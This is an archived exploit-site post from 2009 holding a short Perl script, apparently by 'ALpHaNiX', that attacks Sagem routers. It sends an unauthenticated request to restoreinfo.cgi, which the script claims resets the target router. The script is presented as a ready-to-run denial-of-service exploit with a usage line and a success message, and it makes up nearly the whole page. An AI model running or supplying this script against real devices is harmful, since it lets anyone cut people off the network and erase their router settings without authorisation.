Home / os / win10

sagemrestore-dos.txt

Posted on 16 January 2009

#!/usr/bin/perl
# By ALpHaNiX
# NullArea.Net
# THanks

use HTTP::Request;
use HTTP::Headers;
use LWP::UserAgent;

if (@ARGV != 1) { &help; exit(); }
if ($ARGV[0] =~ /http:/// ) { $ip = $ARGV[0]."/"; } else { $ip = "http://".$ARGV[0]."/"; }
print "[+] Working on it

";

sub help(){
print "[X] Usage : ./exploit.pl 127.0.0.1 
";
}

$restore = "restoreinfo.cgi" ;
$target = $ip.$restore ;
my $request   = HTTP::Request->new(GET=>$target);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
print "[+] Note : No Auth Needed For this operation !
" ;
print "[+] Exploited , This Rooter $ip Have been reseted !" ;

 

TOP

Malware :

Exploits :